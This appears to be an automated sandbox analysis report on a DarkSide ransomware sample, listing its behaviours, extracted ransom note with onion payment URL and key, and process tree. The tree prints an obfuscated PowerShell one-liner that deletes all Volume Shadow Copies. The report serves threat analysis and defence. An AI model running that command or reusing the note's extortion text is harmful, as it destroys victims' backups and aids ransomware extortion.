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250205-k785zs1pfn10Analysis
- max time kernel
837s - max time network
847s - platform
windows7_x64 - resource
win7-20240220-en - resource tags
- submitted
07/07/2024, 14:07
General
- Target RansomwareSamples/DarkSide_16_01_2021_59KB.exe
- Size 59KB
- Sample240707-rfgd8atekm
- SHA256 243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
Malware Config
Extracted
-
C:\Users\Admin\README.9eb5b025.TXT
-
darkside
- ----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
-
http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW
Signatures
- DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
- Renames multiple (139) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- Modifies Control Panel 1 IoCs
- Modifies registry class 5 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 24 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe"1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
590aee7bdd69b59b.customDestinations-ms
README.9eb5b025.TXT
memory/2260-5-0x000007FEF611E000-0x000007FEF611F000-memory.dmp
memory/2260-6-0x000000001B520000-0x000000001B802000-memory.dmp
memory/2260-7-0x00000000026A0000-0x00000000026A8000-memory.dmp
memory/2260-8-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp
memory/2260-9-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp
memory/2260-10-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp
memory/2260-11-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp
memory/2260-12-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp
memory/2260-13-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp